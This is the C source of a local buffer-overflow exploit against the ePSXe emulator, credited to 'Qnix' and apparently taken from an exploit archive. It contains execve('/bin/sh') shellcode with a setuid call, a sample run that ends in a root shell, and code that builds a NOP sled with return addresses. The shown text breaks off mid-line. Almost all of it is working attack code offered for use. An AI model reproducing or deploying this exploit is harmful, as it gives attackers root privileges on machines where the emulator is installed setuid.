1 /* epsxe−e.c
2 ePSXe v1.* local exploit
3 By: Qnix
4 e−mail: q−nix[at]hotmail[dot]com
5 ePSXe−website: www.epsxe.com
6
7 EXP−Sample:
8
9 root@Qnix:~/epsxe# gcc −o epsxe−e epsxe−e.c
10 root@Qnix:~/epsxe# ./epsxe−e
11
12 *************************************
13 ePSXe v1.* local exploit
14 by
15 Qnix | Q−nix[at]hotmail[dot]com
16 *************************************
17
18 [~] Stack pointer (ESP) : 0xbffff568
19 [~] Offset from ESP : 0x0
20 [~] Desired Return Addr : 0xbffff568
21
22 * Running ePSXe emulator version 1.6.0.
23 * Memory handlers init.
24 sh−2.05b# id
25 uid=0(root) gid=0(root)
26 groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)
27
28
29
30
31 */
32
33
34 #include <stdlib.h>
35
36 char shellcode[] =
37 "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"
38 "\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"
39 "\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"
40 "\x68";
41
42 unsigned long sp(void)
43 { __asm__("movl %esp, %eax");}
44
45 int main(int argc, char *argv[])
46 {
47 int i, offset;
48 long esp, ret, *addr_ptr;
49 char *buffer, *ptr;
50
51 offset = 0;
52 esp = sp();
Page 1/2
ePSXe 1.6.0 nogui Local Exploit
Qnix
06/04/2005
53 ret = esp − offset;
54
55 printf("\n ************************************* \n");
56 printf(" ePSXe v1.* local exploit \n");
57 printf(" by \n");
58 printf(" Qnix | Q−nix[at]hotmail[dot]com ");
59 printf("\n ************************************* \n\n");
60 printf("[~] Stack pointer (ESP) : 0x%x\n", esp);
61 printf("[~] Offset from ESP : 0x%x\n", offset);
62 printf("[~] Desired Return Addr : 0x%x\n\n", ret);
63
64 buffer = malloc(600);
65
66 ptr = buffer;
67 addr_ptr = (long *) ptr;
68 for(i=0; i < 600; i+=4)
69 { *(addr_ptr++) = ret; }
70
71 for(i=0; i < 200; i++)
72 { buffer[i] = ’\x90’; }
73
74 ptr = buffer + 200;
75 for(i=0; i < strlen(shellcode); i++)
76 { *(ptr++) = shellcode[i]; }
77
78 buff